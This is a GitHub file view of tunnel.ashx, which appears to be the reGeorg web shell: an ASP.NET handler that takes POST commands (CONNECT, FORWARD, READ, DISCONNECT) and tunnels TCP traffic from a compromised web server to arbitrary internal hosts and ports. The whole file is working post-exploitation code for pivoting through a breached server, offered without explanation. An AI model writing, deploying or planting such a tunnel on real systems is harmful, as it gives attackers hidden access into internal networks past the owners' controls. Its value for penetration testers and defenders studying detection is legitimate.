-
Notifications
You must be signed in to change notification settings - Fork 822
/
tunnel.ashx
119 lines (111 loc) · 4.52 KB
/
tunnel.ashx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<%@ WebHandler Language="C#" Class="GenericHandler1" %>
using System;
using System.Web;
using System.Net;
using System.Net.Sockets;
public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSessionState
{
public void ProcessRequest (HttpContext context) {
try
{
if (context.Request.HttpMethod == "POST")
{
String cmd = context.Request.QueryString.Get("cmd").ToUpper();
if (cmd == "CONNECT")
{
try
{
String target = context.Request.QueryString.Get("target").ToUpper();
int port = int.Parse(context.Request.QueryString.Get("port"));
IPAddress ip = IPAddress.Parse(target);
System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sender.Connect(remoteEP);
sender.Blocking = false;
context.Session["socket"] = sender;
context.Response.AddHeader("X-STATUS", "OK");
}
catch (Exception ex)
{
context.Response.AddHeader("X-ERROR", ex.Message);
context.Response.AddHeader("X-STATUS", "FAIL");
}
}
else if (cmd == "DISCONNECT")
{
try
{
Socket s = (Socket)context.Session["socket"];
s.Close();
}
catch (Exception ex)
{
}
context.Session.Abandon();
context.Response.AddHeader("X-STATUS", "OK");
}
else if (cmd == "FORWARD")
{
Socket s = (Socket)context.Session["socket"];
try
{
int buffLen = context.Request.ContentLength;
byte[] buff = new byte[buffLen];
int c = 0;
while ((c = context.Request.InputStream.Read(buff, 0, buff.Length)) > 0)
{
s.Send(buff);
}
context.Response.AddHeader("X-STATUS", "OK");
}
catch (Exception ex)
{
context.Response.AddHeader("X-ERROR", ex.Message);
context.Response.AddHeader("X-STATUS", "FAIL");
}
}
else if (cmd == "READ")
{
Socket s = (Socket)context.Session["socket"];
try
{
int c = 0;
byte[] readBuff = new byte[512];
try
{
while ((c = s.Receive(readBuff)) > 0)
{
byte[] newBuff = new byte[c];
Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c);
context.Response.BinaryWrite(newBuff);
}
context.Response.AddHeader("X-STATUS", "OK");
}
catch (SocketException soex)
{
context.Response.AddHeader("X-STATUS", "OK");
return;
}
}
catch (Exception ex)
{
context.Response.AddHeader("X-ERROR", ex.Message);
context.Response.AddHeader("X-STATUS", "FAIL");
}
}
} else {
context.Response.Write("Georg says, 'All seems fine'");
}
}
catch (Exception exKak)
{
context.Response.AddHeader("X-ERROR", exKak.Message);
context.Response.AddHeader("X-STATUS", "FAIL");
}
}
public bool IsReusable {
get {
return false;
}
}
}